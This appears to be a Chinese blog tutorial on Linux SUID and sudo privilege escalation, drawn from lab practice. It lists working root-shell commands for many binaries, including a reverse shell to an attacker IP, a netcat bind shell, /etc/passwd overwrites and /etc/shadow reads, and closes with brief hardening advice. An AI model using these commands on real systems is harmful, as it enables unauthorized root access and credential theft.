Linux-SUID提權
前言
最近打靶場的時候最後都會涉及到提權,所以想着總結一下。
SUID提權原理
SUID(設置用戶ID)是賦予文件的一種權限,它會出現在文件擁有者權限的執行位上,具有這種權限的文件會在其執行時,使調用者暫時獲得該文件擁有者的權限。
那麼,為什麼要給Linux二進制文件設置這種權限呢?其實原因有很多,例如,程序ping需要root權限才能打開網絡套接字,但執行該程序的用戶通常都是由普通用戶,來驗證與其他主機的連通性。
但是,如果某些現有的二進制文件和實用程序具有SUID權限的話,就可以在執行時將權限提升為root。
比如password
的權限:
用戶可以輸入自己的密碼或者不需要密碼在root權限下執行命令,這可在設置文件 /etc/sudoers 中配置
1.1 /etc/sudoers 語法
root ALL=(ALL) ALL
root 用戶可以從 ALL(任何)終端執行,充當ALL(任何)用戶,並運行ALL(任何)命令。第一部分指定用戶,第二部分指定可充當用戶,第三部分指定 sudo 可運行的命令。
touhid ALL= /sbin/poweroff
輸入 touchid 的密碼,可以 sudo 執行 poweroff 命令。
touhid ALL = (root) NOPASSWD: /usr/bin/find
不輸入密碼,可以 sudo 執行 find 命令
1.2 查找具有 SUID 權限位文件
以下命令可以找到正在系統上運行的所有SUID可執行文件。準確的說,這個命令將從/目錄中查找具有SUID權限位且屬主為root的文件並輸出它們,然後將所有錯誤重定向到/dev/null,從而僅列出該用戶具有訪問權限的那些二進制文件。
# suid權限值就是4000,下面兩個語句一個意思
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
也可以使用 sudo -l
命令列出當前用戶可執行的命令:
常用的提權方式
2.1 nmap
nmap(2.02-5.21)存在交換模式,可利用提權
nmap --interactive
之後執行:
nmap> !sh
sh-3.2# whoami
root
msf中的模塊為:
exploit/unix/local/setuid_nmap
較新版可使用 –script 參數:
echo "os.execute('/bin/sh')" > /tmp/shell.nse && sudo nmap --script=/tmp/shell.nse
2.2 find
find比較常用,find用來在系統中查找文件。同時,它也有執行命令的能力。 因此,如果配置為使用SUID權限運行,則可以通過find執行的命令都將以root身份去運行。
touch test
find test -exec whoami \;
進入shell
find test -exec '/bin/sh' \;
sh-5.0# whoami
root
linux一般都安裝了nc 我們也可以利用nc 廣播或反彈shell
廣播shell:
find test -exec netcat -lvp 5555 -e /bin/sh \;
kali(攻擊機)上:
nc 靶機ip 4444
反彈shell:
find test -exec bash -c 'bash -i >& /dev/tcp/攻擊機IP/4444 0>&1' \;
kali(攻擊機)上:
nc -lvnp 4444
2.3 vi/vim
打開vim,按下ESC
:set shell=/bin/sh
:shell
或者
sudo vim -c '!sh'
2.4 bash
bash -p
bash-3.2# id
uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)
2.5 less
注意事項:我記得less跟more提權的時候那個命令行要拉低一點,不能在一頁顯示完文件才行(要注意的是使用more和less一定讀取一個比較大的文件,如果文件太小無法進入翻頁功能也就無法使用!命令進入shell)
less /etc/passwd
!/bin/sh
2.6 more
more /home/pelle/myfile
!/bin/bash
2.7 cp
覆蓋 /etc/shadow
或 /etc/passwd
[zabbix@localhost ~]$ cat /etc/passwd >passwd
2.[zabbix@localhost ~]$ openssl passwd -1 -salt hack hack123
3.$1$hack$WTn0dk2QjNeKfl.DHOUue0
4.[zabbix@localhost ~]$ echo 'hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/bin/bash' >> passwd
5.[zabbix@localhost ~]$ cp passwd /etc/passwd
6.[zabbix@localhost ~]$ su - hack
7.Password:
8.[root@361way ~]# id
9.uid=0(hack) gid=0(root) groups=0(root)
10.[root@361way ~]# cat /etc/passwd|tail -1
11.hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/bin/bash
2.8 mv
覆蓋 /etc/shadow
或 /etc/passwd
2.9 nano
nano也算是比較上古的文本編輯器了
nano進入shell的方法為
nano #進入nano編輯器
Ctrl + R
Ctrl + X
#即可輸入命令
2.10 awk
awk 'BEGIN {system("/bin/sh")}'
2.11 man
man passwd
!/bin/bash
2.12 wget
wget //192.168.56.1:8080/passwd -O /etc/passwd
2.13 apache
僅可查看文件,不能彈 shell:
apache2 -f /etc/shadow
2.14 tcpdump
echo $'id\ncat /etc/shadow' > /tmp/.test
chmod +x /tmp/.test
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root
2.15 python/perl/ruby/lua/php/etc
python:
python -c "import os;os.system('/bin/bash')"
perl:
exec "/bin/bash";
其他的語言反彈shell參考以下鏈接:
//weibell.github.io/reverse-shell-generator/
參考鏈接:
- Abusing SUDO (Linux Privilege Escalation)
- 【安全科普】Linux提權——利用可執行文件SUID
- linux特殊權限SUID、SGID、SBIT
- SUID 提權 – CoColi丶
- SUID Privilege Escalation – Evi1cg
防範
SUID提權由來已久,屬於一種古早的提權技術,但其生命力經久不衰。
這要求管理員要仔細研究具有SUID權限的文件,不要給易被利用的文件以SUID權限,防止SUID的濫用導致黑客在進入服務器時輕易獲取root權限。